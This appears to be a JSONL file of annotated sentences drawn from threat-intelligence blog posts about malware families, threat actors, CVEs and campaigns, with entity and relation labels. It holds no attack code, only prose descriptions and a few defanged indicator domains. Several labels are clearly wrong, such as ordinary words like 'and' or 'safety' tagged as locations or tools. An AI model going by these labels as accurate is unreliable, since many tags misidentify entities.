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{"id":9,"text":" Palo Alto Networks Enterprise Security Platform offers multilayer protection to prevent this attack along with other attacks without the need for prior knowledge of the specific attack.","entities":[{"id":31,"label":"identity","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
{"id":6490,"text":"Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.","entities":[],"relations":[],"Comments":[]}
{"id":4664,"text":"The language is returned to its original setting when the run is finished.","entities":[],"relations":[],"Comments":[]}
{"id":6403,"text":"Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.","entities":[{"id":19870,"label":"tools","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
{"id":14230,"text":"The beginning and end markers, DZKS and DZJS, are typical in PlugX. A closer look, however, shows that the decryption algorithm is different from PlugX.","entities":[{"id":48416,"label":"malware","start_offset":146,"end_offset":151},{"id":48415,"label":"malware","start_offset":61,"end_offset":66}],"relations":[],"Comments":[]}
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{"id":7892,"text":"But when April 2017 came, Rig started a very marked decline.","entities":[],"relations":[],"Comments":[]}
{"id":3913,"text":"Microsoft issued a patch for this vulnerability in  February 2020.","entities":[{"id":49768,"label":"TIME","start_offset":52,"end_offset":65},{"id":49767,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":3550,"text":"In November 2019, we published a blog analyzing an exploit kit we named Capesand that exploited Adobe Flash and Microsoft Internet Explorer flaws.","entities":[{"id":49331,"label":"TIME","start_offset":3,"end_offset":16},{"id":49332,"label":"malware","start_offset":72,"end_offset":80},{"id":49333,"label":"SOFTWARE","start_offset":96,"end_offset":107},{"id":49334,"label":"SOFTWARE","start_offset":112,"end_offset":139}],"relations":[{"id":784,"from_id":49332,"to_id":49333,"type":"exploits"},{"id":785,"from_id":49332,"to_id":49334,"type":"exploits"}],"Comments":[]}
{"id":13146,"text":"Tropic Trooper, a threat actor group that targets government, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong, has been active since 2011.","entities":[{"id":48920,"label":"identity","start_offset":104,"end_offset":124},{"id":48922,"label":"location","start_offset":140,"end_offset":151},{"id":48924,"label":"TIME","start_offset":184,"end_offset":194},{"id":48916,"label":"identity","start_offset":50,"end_offset":60},{"id":48921,"label":"location","start_offset":128,"end_offset":134},{"id":48915,"label":"threat-actor","start_offset":0,"end_offset":14},{"id":48917,"label":"identity","start_offset":62,"end_offset":70},{"id":48918,"label":"identity","start_offset":72,"end_offset":82},{"id":48919,"label":"identity","start_offset":84,"end_offset":98},{"id":48923,"label":"location","start_offset":157,"end_offset":166}],"relations":[{"id":491,"from_id":48920,"to_id":48921,"type":"located-at"},{"id":492,"from_id":48916,"to_id":48921,"type":"located-at"},{"id":487,"from_id":48915,"to_id":48917,"type":"targets"},{"id":488,"from_id":48915,"to_id":48918,"type":"targets"},{"id":489,"from_id":48915,"to_id":48919,"type":"targets"},{"id":494,"from_id":48916,"to_id":48922,"type":"located-at"},{"id":495,"from_id":48916,"to_id":48923,"type":"located-at"},{"id":496,"from_id":48917,"to_id":48921,"type":"located-at"},{"id":497,"from_id":48915,"to_id":48916,"type":"targets"},{"id":498,"from_id":48915,"to_id":48924,"type":"related-to"},{"id":493,"from_id":48918,"to_id":48922,"type":"targets"}],"Comments":[]}
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{"id":1597,"text":"The first version of Funtasy we detected is a fake television remote control application.","entities":[{"id":46844,"label":"malware","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
{"id":830,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.  CVE-2020-0601: The ChainOfFools\/CurveBall Attack Explained POC  Win10 Crypto Vulnerability: Cheating in Elliptic Curve Billiards 2  NSA Cybersecurity Advisory  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46383,"label":"identity","start_offset":250,"end_offset":253},{"id":46384,"label":"vulnerability","start_offset":137,"end_offset":149},{"id":46381,"label":"vulnerability","start_offset":118,"end_offset":131},{"id":46382,"label":"SOFTWARE","start_offset":182,"end_offset":187},{"id":46380,"label":"identity","start_offset":1,"end_offset":19},{"id":46385,"label":"vulnerability","start_offset":150,"end_offset":159}],"relations":[],"Comments":[]}
{"id":8602,"text":"Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.","entities":[],"relations":[],"Comments":[]}
{"id":12303,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
{"id":13063,"text":"The Malware that Usually Installs Ransomware and You Need to Remove Right Away","entities":[],"relations":[],"Comments":[]}
{"id":652,"text":"In reality, the malware is encrypting the NTFS Master File Table in the background.","entities":[],"relations":[],"Comments":[]}
{"id":9705,"text":"The highlighted bytes represent the scrambled computer info  Figure 22.","entities":[],"relations":[],"Comments":[]}
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{"id":3502,"text":"Based on the controller\u2019s behavior, we can posit that both Marade and Protux were authored by the same threat actors.","entities":[{"id":49298,"label":"malware","start_offset":70,"end_offset":76},{"id":49297,"label":"malware","start_offset":59,"end_offset":65}],"relations":[{"id":780,"from_id":49297,"to_id":49298,"type":"variant-of"}],"Comments":[]}
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{"id":8994,"text":"However, as the rshell sample was found in 2021, we initially did not find this correlation strong enough to attribute the rshellmalware family to Iron Tiger.","entities":[{"id":27790,"label":"location","start_offset":23,"end_offset":29},{"id":27792,"label":"location","start_offset":92,"end_offset":98},{"id":27793,"label":"threat-actor","start_offset":147,"end_offset":157}],"relations":[],"Comments":[]}
{"id":2122,"text":"A successful attack would run code in the security context that Struts is using.","entities":[{"id":47261,"label":"SOFTWARE","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
{"id":1253,"text":"[1] These attacks took place between January and March of 2015.","entities":[{"id":46630,"label":"TIME","start_offset":37,"end_offset":62}],"relations":[],"Comments":[]}
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{"id":9487,"text":"Another malware family that we obtained both Windows and macOS samples of during our investigation was oRAT.","entities":[{"id":29125,"label":"location","start_offset":53,"end_offset":56},{"id":29126,"label":"malware","start_offset":103,"end_offset":107}],"relations":[],"Comments":[]}
{"id":11121,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]}
{"id":5860,"text":"Such as the term mercenary, right?","entities":[],"relations":[],"Comments":[]}
{"id":6661,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified  Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously.  ","entities":[{"id":20662,"label":"location","start_offset":5,"end_offset":9},{"id":20664,"label":"identity","start_offset":53,"end_offset":71},{"id":20665,"label":"identity","start_offset":72,"end_offset":79},{"id":20666,"label":"identity","start_offset":109,"end_offset":113},{"id":20668,"label":"tools","start_offset":191,"end_offset":198},{"id":20669,"label":"malware","start_offset":225,"end_offset":232},{"id":20672,"label":"tools","start_offset":364,"end_offset":371}],"relations":[],"Comments":[]}
{"id":471,"text":"But it is an important piece that enables modern malware to try and evade security products and countermeasures.","entities":[],"relations":[],"Comments":[]}
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{"id":1359,"text":"Using our PoC, we created the following demonstration video of how a malicious actor would exploit the CVE-2021-32648 vulnerability, log into the compromised OctoberCMS account and to deface a web page hosted by the server:","entities":[{"id":44975,"label":"vulnerability","start_offset":103,"end_offset":117},{"id":44976,"label":"SOFTWARE","start_offset":158,"end_offset":168}],"relations":[{"id":49,"from_id":44976,"to_id":44975,"type":"has"}],"Comments":[]}
{"id":4370,"text":"      URLs\/Domains\/IP Addresses      Server hosting malicious documents  parinari[.]xyz  Server used for file exfiltration  pirnaram[.]xyz  Domain names linked to other campaigns","entities":[{"id":50157,"label":"DOMAIN","start_offset":73,"end_offset":87},{"id":50158,"label":"DOMAIN","start_offset":124,"end_offset":138}],"relations":[],"Comments":[]}
{"id":1824,"text":"It installs the driver file in preparation for disabling the running antivirus product.","entities":[],"relations":[],"Comments":[]}
{"id":13711,"text":"It uses Writing Style DNA to detect BEC impersonations and computer vision to find credential-stealing phishing sites.","entities":[{"id":51759,"label":"attack-pattern","start_offset":103,"end_offset":111},{"id":51758,"label":"attack-pattern","start_offset":83,"end_offset":102}],"relations":[],"Comments":[]}
{"id":10499,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":31920,"label":"location","start_offset":53,"end_offset":56},{"id":31921,"label":"tools","start_offset":71,"end_offset":77},{"id":31922,"label":"location","start_offset":78,"end_offset":81},{"id":31923,"label":"location","start_offset":82,"end_offset":90},{"id":31924,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
{"id":11249,"text":"We\u2019ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[{"id":34385,"label":"tools","start_offset":70,"end_offset":76},{"id":34386,"label":"location","start_offset":77,"end_offset":80},{"id":34387,"label":"location","start_offset":81,"end_offset":89},{"id":34388,"label":"location","start_offset":112,"end_offset":115},{"id":34389,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
{"id":2910,"text":"Additionally, each sample uses a Sound object named \u2018snd\u2019 to gain control, and they all invoke the function toString().  ","entities":[],"relations":[],"Comments":[]}
{"id":563,"text":"Based on the way Virlock spreads the ransom amount it demands, it is likely designed to target consumers or home users.","entities":[{"id":46173,"label":"malware","start_offset":17,"end_offset":24}],"relations":[],"Comments":[]}
{"id":3207,"text":"After the hex decoding of the arguments, we get a Python one-liner that downloads additional Python scripts from the cloud.","entities":[{"id":48335,"label":"SOFTWARE","start_offset":50,"end_offset":56},{"id":48336,"label":"SOFTWARE","start_offset":93,"end_offset":100}],"relations":[],"Comments":[]}
{"id":14214,"text":"It copies itself on %WINDIR%\\system32\\wbem\\ and replaces the original DLL.","entities":[{"id":48240,"label":"FILEPATH","start_offset":20,"end_offset":43}],"relations":[],"Comments":[]}
{"id":13679,"text":"The originating IP of Water Nue\u2019s test\/deployment machine was left in a clear text file in the phishing site\u2019s server for collected credentials.","entities":[{"id":51751,"label":"campaign","start_offset":22,"end_offset":33},{"id":42553,"label":"attack-pattern","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]}
{"id":2497,"text":"Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the \u201cProcess execution with a suspicious command line indicative of the Spring4Shell exploit\u201d and \u201cSuspicious HTTP Request to a vulnerable Java class\u201d Analytics BIOCs.","entities":[{"id":47598,"label":"vulnerability","start_offset":206,"end_offset":256},{"id":47599,"label":"vulnerability","start_offset":112,"end_offset":199},{"id":47594,"label":"SOFTWARE","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]}
{"id":11593,"text":"The configuration is encoded with a 105-byte XOR key.","entities":[],"relations":[],"Comments":[]}
{"id":10754,"text":"Additionally, we also found that the steganography algorithm (alternative base64 + RC4) between XXMM and Daserf were the same.","entities":[{"id":32862,"label":"location","start_offset":88,"end_offset":95},{"id":32863,"label":"malware","start_offset":96,"end_offset":100},{"id":32864,"label":"location","start_offset":101,"end_offset":104},{"id":32866,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
{"id":2345,"text":"Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.","entities":[{"id":47400,"label":"SOFTWARE","start_offset":90,"end_offset":106}],"relations":[],"Comments":[]}
{"id":14221,"text":"When it is loaded by the system, DLLMain decrypts the payload via CryptUnprotectData.","entities":[{"id":48251,"label":"tools","start_offset":66,"end_offset":84},{"id":48252,"label":"malware","start_offset":33,"end_offset":41}],"relations":[{"id":395,"from_id":48252,"to_id":48251,"type":"uses"}],"Comments":[]}
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{"id":4871,"text":"The attacker would then use a custom tool to download the mailbox contents via IMAP.","entities":[],"relations":[],"Comments":[]}
{"id":2695,"text":"Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways:","entities":[{"id":47928,"label":"identity","start_offset":0,"end_offset":18},{"id":47929,"label":"threat-actor","start_offset":40,"end_offset":51}],"relations":[],"Comments":[]}
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{"id":4271,"text":"The backdoors also linked to an infrastructure matching old Hangover domains as well as the infrastructure of domains from the September 2016 blog post.","entities":[{"id":50074,"label":"TIME","start_offset":127,"end_offset":141},{"id":50075,"label":"threat-actor","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
{"id":101,"text":"In our first half report, we highlight an APT group named TeamTNT that has been targeting clouds for quite a while now.","entities":[{"id":45833,"label":"threat-actor","start_offset":58,"end_offset":65}],"relations":[],"Comments":[]}
{"id":2561,"text":"We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.","entities":[{"id":47761,"label":"campaign","start_offset":85,"end_offset":105},{"id":47760,"label":"campaign","start_offset":67,"end_offset":76},{"id":47762,"label":"campaign","start_offset":219,"end_offset":228}],"relations":[{"id":350,"from_id":47761,"to_id":47760,"type":"related-to"}],"Comments":[]}
{"id":2562,"text":" We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller.","entities":[{"id":47763,"label":"SOFTWARE","start_offset":133,"end_offset":149}],"relations":[],"Comments":[]}
{"id":11672,"text":"     Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":4807,"text":"We believe there was no major impact on Android users and that the number of installs was miniscule.","entities":[{"id":50723,"label":"SOFTWARE","start_offset":40,"end_offset":47}],"relations":[],"Comments":[]}
{"id":3848,"text":"The third version we found (5.1.2 rc1) reverts to a DLL file type but retains the C&C server.","entities":[],"relations":[],"Comments":[]}
{"id":13993,"text":"However, by comparing key pieces of information with known sources, it is possible to determine when a campaign was likely perpetrated by a certain group.","entities":[],"relations":[],"Comments":[]}
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{"id":13090,"text":" Why IIoT matters  Industrial IoT (IIoT) systems are already streamlining production processes, improving cost efficiencies, and helping to drive greater agility and innovation for manufacturers.","entities":[],"relations":[],"Comments":[]}
{"id":2444,"text":" Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our \"Spring Core Remote Code Execution Vulnerability\" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools.","entities":[{"id":47512,"label":"vulnerability","start_offset":105,"end_offset":152}],"relations":[],"Comments":[]}
{"id":14238,"text":"It created one legitimate project\/repository (mobile-phone-project) in June 2016, derived from another generic GitHub page.","entities":[{"id":48429,"label":"SOFTWARE","start_offset":111,"end_offset":118},{"id":48430,"label":"TIME","start_offset":71,"end_offset":80}],"relations":[],"Comments":[]}
{"id":1025,"text":"Four hours later, we received confirmation that the custom email address \"claud@student.cnri.edu\" was active.","entities":[{"id":3215,"label":"TIME","start_offset":0,"end_offset":16},{"id":46516,"label":"EMAIL","start_offset":74,"end_offset":96}],"relations":[],"Comments":[]}
{"id":11991,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":10751,"text":"REDBALDKNIGHT\u2019s tool can create, embed, and hide executables or configuration files within the image file with its tag and encrypted strings via steganography.","entities":[{"id":32855,"label":"threat-actor","start_offset":0,"end_offset":13},{"id":32856,"label":"location","start_offset":16,"end_offset":20},{"id":32857,"label":"location","start_offset":21,"end_offset":24},{"id":32858,"label":"location","start_offset":40,"end_offset":43},{"id":32859,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
{"id":2008,"text":"In the first sample we encountered (Figure 3, left), the ransom note only linked to a TOX ID, whereas a later observed sample (Figure 3, right) links to an onion domain as well as a TOX ID (different from the one in the first version).","entities":[],"relations":[],"Comments":[]}
{"id":948,"text":"They provide an SDK and services to help developers display rich advertisements with a high pay rate.","entities":[],"relations":[],"Comments":[]}
{"id":527,"text":" Figure 4 breaks down which file types we saw in the course of ransomware detection and their prevalence.","entities":[],"relations":[],"Comments":[]}
{"id":2563,"text":"This is also suggestive of access to the network through legitimate, stolen credentials.","entities":[],"relations":[],"Comments":[]}
{"id":2525,"text":"Conti\u2019s methodology often follows the \u201cdouble extortion\u201d approach that many leading ransomware groups are presently using.","entities":[{"id":47722,"label":"threat-actor","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
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{"id":2362,"text":"Notable features for this backdoor include:  Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.","entities":[],"relations":[],"Comments":[]}
{"id":6466,"text":"This is a command to execute a PowerShell script of some kind.","entities":[{"id":20106,"label":"attack-pattern","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
{"id":13055,"text":"Weaponizing Open Source Software for Targeted Attacks","entities":[],"relations":[],"Comments":[]}
{"id":561,"text":" Since Virlock only requests a $250 ransom, it does not draw too much public attention.","entities":[{"id":45795,"label":"malware","start_offset":7,"end_offset":14}],"relations":[],"Comments":[]}
{"id":1021,"text":"Figure 5: A seller advertising a customizable \u201cxxx.edu\u201d email account.","entities":[],"relations":[],"Comments":[]}
{"id":4090,"text":"     Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":5328,"text":"To send data to the C&C server, the core component performs a TLS handshake with a randomly chosen C&C server at a random TCP port, both of which are from a hard-coded list.","entities":[],"relations":[],"Comments":[]}
{"id":2166,"text":" Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.","entities":[{"id":45406,"label":"identity","start_offset":1,"end_offset":10},{"id":45407,"label":"vulnerability","start_offset":63,"end_offset":77}],"relations":[],"Comments":[]}
{"id":12537,"text":"The landing page contained a simple HTML page loading two scripts\u2014one for Capstone.js and another for the exploit chain.","entities":[{"id":39015,"label":"location","start_offset":4,"end_offset":11},{"id":39016,"label":"tools","start_offset":12,"end_offset":16},{"id":39017,"label":"malware","start_offset":41,"end_offset":45},{"id":39019,"label":"location","start_offset":66,"end_offset":69},{"id":39020,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
{"id":7328,"text":"Threat groups such as OceanLotus are actively updating malware variants in attempts to evade detection and improve persistence.","entities":[{"id":22805,"label":"threat-actor","start_offset":22,"end_offset":32},{"id":22806,"label":"location","start_offset":33,"end_offset":36},{"id":22807,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
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{"id":383,"text":"Assets running end-of-life software should never be internet-facing.","entities":[],"relations":[],"Comments":[]}
{"id":2224,"text":"It continues to dynamically load a number of libraries and functions for later use.","entities":[],"relations":[],"Comments":[]}
{"id":5299,"text":"It also enables non-blocking I\/O for the writing file descriptor by using ioctl().","entities":[],"relations":[],"Comments":[]}
{"id":13332,"text":"Just last May, Trend Micro connected the group to ransomware attacks on Taiwanese organizations.","entities":[],"relations":[],"Comments":[]}
{"id":10588,"text":"The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.","entities":[{"id":32300,"label":"location","start_offset":79,"end_offset":83},{"id":32301,"label":"location","start_offset":123,"end_offset":126},{"id":32302,"label":"attack-pattern","start_offset":156,"end_offset":170}],"relations":[],"Comments":[]}
{"id":880,"text":" Figure 2. Check by PClock2 for hooking of sleep function  A simple check is performed to determine if the malware is running with administrative privileges.","entities":[{"id":46413,"label":"malware","start_offset":20,"end_offset":27},{"id":46414,"label":"attack-pattern","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
{"id":12208,"text":"We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
{"id":1338,"text":" The malware proceeds to make an attempt at binding to the local host on port 1139.","entities":[],"relations":[],"Comments":[]}
{"id":10355,"text":"The PS function from which PRB-Backdoor takes its name","entities":[],"relations":[],"Comments":[]}
{"id":1349,"text":" Though both attacks have targeted Ukrainian organizations, the two threats have so far been implemented in separate situations.","entities":[{"id":46678,"label":"identity","start_offset":35,"end_offset":58}],"relations":[],"Comments":[]}
{"id":8574,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":26499,"label":"location","start_offset":71,"end_offset":78},{"id":26500,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
{"id":13412,"text":"We haven\u2019t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
{"id":5533,"text":"Indeed, the Magecart attackers have proven over the past year that no website is safe from skimming attacks.","entities":[{"id":51531,"label":"malware","start_offset":12,"end_offset":20}],"relations":[],"Comments":[]}
{"id":4632,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":50551,"label":"TIME","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]}
{"id":4836,"text":"They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":6546,"text":"Based on the use of domain names they registered, the group started out in the business of fake\/rogue anti-virus products in 2007.","entities":[{"id":20294,"label":"malware","start_offset":96,"end_offset":101}],"relations":[],"Comments":[]}
{"id":10045,"text":"Another file, ps, is a Linux executable that serves as an SSH backdoor.","entities":[],"relations":[],"Comments":[]}
{"id":9588,"text":"HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.","entities":[],"relations":[],"Comments":[]}
{"id":14013,"text":"That action by itself potentially introduces other leads that developers may forget to clean.","entities":[],"relations":[],"Comments":[]}
{"id":461,"text":"Attackers developed DGA specifically to counter these actions.","entities":[],"relations":[],"Comments":[]}
{"id":3769,"text":" The content of this exploit file can be observed below.","entities":[],"relations":[],"Comments":[]}
{"id":432,"text":"While the user will experience a slow-down as the coin mining software is run, it is (or should be) expected, because of the notification, and so done with the site visitor\u2019s consent.","entities":[],"relations":[],"Comments":[]}
{"id":6442,"text":"     Figure 1. Phishing Email with the embedded URL      The email attempts to convince recipients to click the URL and download a malicious file.","entities":[{"id":20051,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20052,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
{"id":13938,"text":" In the Colonial Pipeline attack, DarkSide used double extortion.","entities":[{"id":48757,"label":"malware","start_offset":34,"end_offset":43}],"relations":[],"Comments":[]}
{"id":5495,"text":"A tangled web of malware","entities":[],"relations":[],"Comments":[]}
{"id":14093,"text":"     Figure 11. Exfiltration command similarities.     Code sharing","entities":[],"relations":[],"Comments":[]}
{"id":184,"text":"Over the past several weeks, Russia-Ukraine cyber activity has escalated substantially.","entities":[],"relations":[],"Comments":[]}
{"id":14070,"text":"We also found that older samples from the previous SLUB campaigns in 2019 used a similar naming convention.","entities":[{"id":47380,"label":"malware","start_offset":51,"end_offset":56},{"id":47382,"label":"TIME","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
{"id":9756,"text":"The other layers are simple obfuscated PowerShell scripts.","entities":[{"id":29746,"label":"location","start_offset":17,"end_offset":20},{"id":29747,"label":"attack-pattern","start_offset":39,"end_offset":49}],"relations":[],"Comments":[]}
{"id":5633,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":2205,"text":"This malware sample will also dynamically load a number of functions and libraries.","entities":[],"relations":[],"Comments":[]}
{"id":7776,"text":"We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader.","entities":[{"id":24099,"label":"location","start_offset":75,"end_offset":79},{"id":24100,"label":"malware","start_offset":85,"end_offset":96}],"relations":[],"Comments":[]}
{"id":2339,"text":"Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.","entities":[],"relations":[],"Comments":[]}
{"id":13819,"text":"The second part of API hooking hooks on \u201cGetExtendedTcpTable.\u201d \u201cGetExtendedTcpTable\u201d is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat.","entities":[{"id":42866,"label":"attack-pattern","start_offset":23,"end_offset":30},{"id":42867,"label":"location","start_offset":31,"end_offset":36},{"id":42868,"label":"location","start_offset":132,"end_offset":136},{"id":42869,"label":"location","start_offset":184,"end_offset":187},{"id":42870,"label":"malware","start_offset":252,"end_offset":259}],"relations":[],"Comments":[]}
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{"id":5421,"text":"This malware is modular in nature and it is likely that each vendor has different modules and architectures that were thought out well by the Cyclops Blink actors.","entities":[{"id":51428,"label":"malware","start_offset":142,"end_offset":155}],"relations":[],"Comments":[]}
{"id":4605,"text":"IM Rules:      1010855 - Microsoft Exchange - HAFNIUM Targeted Vulnerabilities     Trend Micro Vision One\u2122 Correlation:      Fig - Microsoft Exchange Server RCE Vulnerability (CVE-2021-26855 + CVE-2021-27065)     Trend Micro Vision One\u2122 is a purpose-built, threat defense platform with extended detection and response (XDR) capabilities that work to prevent majority of attacks with automated protection.","entities":[{"id":50505,"label":"SOFTWARE","start_offset":83,"end_offset":106},{"id":50504,"label":"threat-actor","start_offset":46,"end_offset":53},{"id":50507,"label":"SOFTWARE","start_offset":213,"end_offset":236},{"id":50506,"label":"vulnerability","start_offset":131,"end_offset":208},{"id":50503,"label":"SOFTWARE","start_offset":25,"end_offset":43}],"relations":[],"Comments":[]}
{"id":2966,"text":"After that, nothing spoils the fun and excitement of unboxing and playing with an exciting new device than trying to figure out what you need to do to use it with reasonable safety and privacy.","entities":[],"relations":[],"Comments":[]}
{"id":9261,"text":"Detection: Delivered on 19\/19 attack steps in the evaluation, for 100% detection.","entities":[],"relations":[],"Comments":[]}
{"id":4896,"text":"Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.","entities":[],"relations":[],"Comments":[]}
{"id":14038,"text":"In our case, the samples from the Operation Earth Kitsune implemented the Mattermost command and control (C2) communication and leaked a local path.","entities":[{"id":47199,"label":"campaign","start_offset":34,"end_offset":57},{"id":47200,"label":"SOFTWARE","start_offset":74,"end_offset":85}],"relations":[],"Comments":[]}
{"id":3603,"text":"The combination of ConfuserEx and CyaX (Cassandra protector) seems to be unique and customized based on the indicators mentioned earlier.","entities":[{"id":49382,"label":"tools","start_offset":19,"end_offset":29},{"id":49383,"label":"tools","start_offset":34,"end_offset":39},{"id":49384,"label":"tools","start_offset":40,"end_offset":59}],"relations":[],"Comments":[]}
{"id":7201,"text":"Besides the ActiveX objects, we noticed that the script added new code to connect websocket to localhost.","entities":[],"relations":[],"Comments":[]}
{"id":2847,"text":"Multiple vendors report that the malware includes the ability to spread via port 445 scans and attacks against the ETERNALBLUE vulnerability not only on internal networks but also across the Internet.","entities":[{"id":45723,"label":"vulnerability","start_offset":115,"end_offset":126}],"relations":[],"Comments":[]}
{"id":1259,"text":" Figure 1. Icons used by malicious Sysget attachments.","entities":[{"id":46635,"label":"malware","start_offset":35,"end_offset":41}],"relations":[],"Comments":[]}
{"id":6991,"text":"Backdoor commands found in CapraRAT     This APK file also has the ability to drop mp4 or APK files from asset directory.","entities":[],"relations":[],"Comments":[]}
{"id":3320,"text":" The script will then upload database files inside the WeChat folder including \u201cMicroMsg.db\u201d to cloud storage.","entities":[{"id":48403,"label":"SOFTWARE","start_offset":55,"end_offset":61},{"id":48404,"label":"FILEPATH","start_offset":80,"end_offset":91}],"relations":[],"Comments":[]}
{"id":2873,"text":"After that the exploit uses a ROP chain to overwrite the virtual function table of a sound object to gain full control.","entities":[],"relations":[],"Comments":[]}
{"id":1872,"text":"Avast responded to our notification with this statement: \"We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.","entities":[{"id":45157,"label":"FILEPATH","start_offset":123,"end_offset":135},{"id":45158,"label":"SOFTWARE","start_offset":159,"end_offset":169},{"id":45159,"label":"TIME","start_offset":182,"end_offset":191},{"id":45160,"label":"identity","start_offset":0,"end_offset":5}],"relations":[{"id":286,"from_id":45158,"to_id":45157,"type":"consists-of"}],"Comments":[]}
{"id":5379,"text":" File download (0x0f) This module can download files from the internet.","entities":[],"relations":[],"Comments":[]}
{"id":506,"text":"This post supplements that information based on observations from the first three months of 2021, and will discuss the propagation of different ransomware families we observed in the wild and the different types of extortion used.","entities":[{"id":46139,"label":"TIME","start_offset":92,"end_offset":96}],"relations":[],"Comments":[]}
{"id":6121,"text":"We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.","entities":[{"id":18926,"label":"tools","start_offset":16,"end_offset":23},{"id":18929,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
{"id":4573,"text":"COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.","entities":[{"id":50416,"label":"threat-actor","start_offset":65,"end_offset":73},{"id":50415,"label":"threat-actor","start_offset":0,"end_offset":9},{"id":50417,"label":"attack-pattern","start_offset":88,"end_offset":119}],"relations":[{"id":967,"from_id":50416,"to_id":50415,"type":"duplicate-of"},{"id":968,"from_id":50415,"to_id":50417,"type":"uses"}],"Comments":[]}
{"id":10716,"text":"Additional analysis and insights by Higashi Yuka and Chizuru Toyama REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry.","entities":[{"id":32718,"label":"location","start_offset":20,"end_offset":23},{"id":32720,"label":"location","start_offset":49,"end_offset":52},{"id":32722,"label":"threat-actor","start_offset":68,"end_offset":81},{"id":32724,"label":"location","start_offset":111,"end_offset":114},{"id":32725,"label":"threat-actor","start_offset":115,"end_offset":119},{"id":32726,"label":"location","start_offset":156,"end_offset":162},{"id":32728,"label":"location","start_offset":296,"end_offset":299},{"id":32729,"label":"location","start_offset":300,"end_offset":310}],"relations":[],"Comments":[]}
{"id":5914,"text":"Link to Jon\u2019s panel discussion in Davos: https:\/\/www.youtube.com\/watch?v=GAZng8u9FXk","entities":[],"relations":[],"Comments":[]}
